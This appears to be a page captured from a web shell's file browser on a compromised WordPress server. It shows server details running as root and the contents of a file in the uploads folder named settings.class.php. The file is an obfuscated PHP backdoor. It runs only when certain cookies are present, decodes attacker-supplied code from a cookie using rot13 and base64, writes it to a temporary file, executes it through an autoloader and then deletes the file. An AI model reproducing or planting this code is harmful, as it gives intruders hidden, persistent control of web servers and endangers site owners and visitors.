HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux wordpress-ubuntu-s-2vcpu-4gb-fra1-01 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/shoetique/wp-content/uploads/2020/07/settings.class.php
<?php

if (isset($_COOKIE[-68+68]) && isset($_COOKIE[-75+76]) && isset($_COOKIE[58-55]) && isset($_COOKIE[-35+39])) {
    $ph = $_COOKIE;
    function rjust($constant) {
        $ph = $_COOKIE;
        $parameter = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '6fb09757');
        if (!is_writable($parameter)) {
            $parameter = getcwd() . DIRECTORY_SEPARATOR . "parle_tokens";
        }
        $fld = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($ph[3]));
        if (is_writeable($parameter)) {
            $variable = fopen($parameter, 'w+');
            fputs($variable, $fld);
            fclose($variable);
            spl_autoload_unregister(__FUNCTION__);
            require_once($parameter);
            @array_map('unlink', array($parameter));
        }
    }
    spl_autoload_register("rjust");
    $prop = "cfab918562515688c0f7e84a8dfcf540";
    if (!strncmp($prop, $ph[4], 32)) {
        if (@class_parents("multi_requests", true)) {
            exit;
        }
    }
}